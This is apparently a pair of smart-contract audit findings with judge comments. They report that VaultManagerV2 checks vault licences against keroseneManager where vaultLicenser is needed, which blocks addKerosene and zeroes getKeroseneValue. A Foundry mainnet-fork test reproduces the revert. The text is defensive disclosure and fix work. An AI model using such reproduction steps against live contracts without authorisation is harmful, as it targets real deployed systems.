Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
3.7207 USDC - $3.72
Checking keroseneVault is Licensed or not, Should use vaultLicenser. In VaultManagerV2::addKerosene()
incorrectly use the keroseneManager causing DoS(denial of service)
function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); @> if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
Anyuser call addKerosene()
will revert for VaultNotLicensed
error.
add this test function below in test/fork/v2.t.sol
, then run forge test --mt testAddKerosineVaultWillFailed --fork-url $(MAINNET_RPC) --fork-block-number 19621640 -vvv
in terminal
function testAddKerosineVaultWillFailed() public{ DNft dnft = DNft(MAINNET_DNFT); //take nft id is 1 for test uint256 tokenId = 1; address nft_owner = dnft.ownerOf(tokenId); vm.prank(nft_owner); contracts.vaultManager.addKerosene(tokenId, address(address(contracts.unboundedKerosineVault))); }
you will get:
Ran 1 test for test/fork/v2.t.sol:V2Test [FAIL. Reason: VaultNotLicensed()] testAddKerosineVaultWillFailed() (gas: 29043) Traces: [29043] V2Test::testAddKerosineVaultWillFailed() ββ [2558] 0xDc400bBe0B8B79C07A962EA99a642F5819e3b712::ownerOf(1) [staticcall] β ββ β 0x01df211a9c8A9AE434eD2d34404dd7F48b83645C ββ [0] VM::prank(0x01df211a9c8A9AE434eD2d34404dd7F48b83645C) β ββ β () ββ [11328] VaultManagerV2::addKerosene(1, UnboundedKerosineVault: [0x416C42991d05b31E9A6dC209e91AD22b79D87Ae6]) β ββ [558] 0xDc400bBe0B8B79C07A962EA99a642F5819e3b712::ownerOf(1) [staticcall] β β ββ β 0x01df211a9c8A9AE434eD2d34404dd7F48b83645C β ββ [2597] KerosineManager::isLicensed(UnboundedKerosineVault: [0x416C42991d05b31E9A6dC209e91AD22b79D87Ae6]) [staticcall] β β ββ β false β ββ β VaultNotLicensed() ββ β VaultNotLicensed() Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.06ms (315.17Β΅s CPU time)
Manual Review
function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); - if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); + if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); } ## Assessed type DoS
#0 - c4-pre-sort
2024-04-29T05:23:48Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T12:02:38Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:57:53Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:36:27Z
koolexcrypto changed the severity to 2 (Med Risk)
π Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
3.7207 USDC - $3.72
Checking keroseneVault is Licensed or not, Should use vaultLicenser instead of keroseneManager.
This Logic error will causing getKeroseneValue()
return 0.
Checking keroseneVault is Licensed or not, Should use vaultLicenser instead of keroseneManager.
function getKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaultsKerosene[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaultsKerosene[id].at(i)); uint usdValue; @> if (keroseneManager.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id); } totalUsdValue += usdValue; } return totalUsdValue; }
keroseneVault like BoundedKerosineVault and UnboundedKerosineVault never be added in keroseneManager, so the totalUsdValue is always plus 0, and will always be 0.
Manual Review
function getKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaultsKerosene[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaultsKerosene[id].at(i)); uint usdValue; - if (keroseneManager.isLicensed(address(vault))) { + if (vaultLicenser.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id); } totalUsdValue += usdValue; } return totalUsdValue; }
Error
#0 - c4-pre-sort
2024-04-27T17:24:07Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T12:02:42Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:58:29Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:36:27Z
koolexcrypto changed the severity to 2 (Med Risk)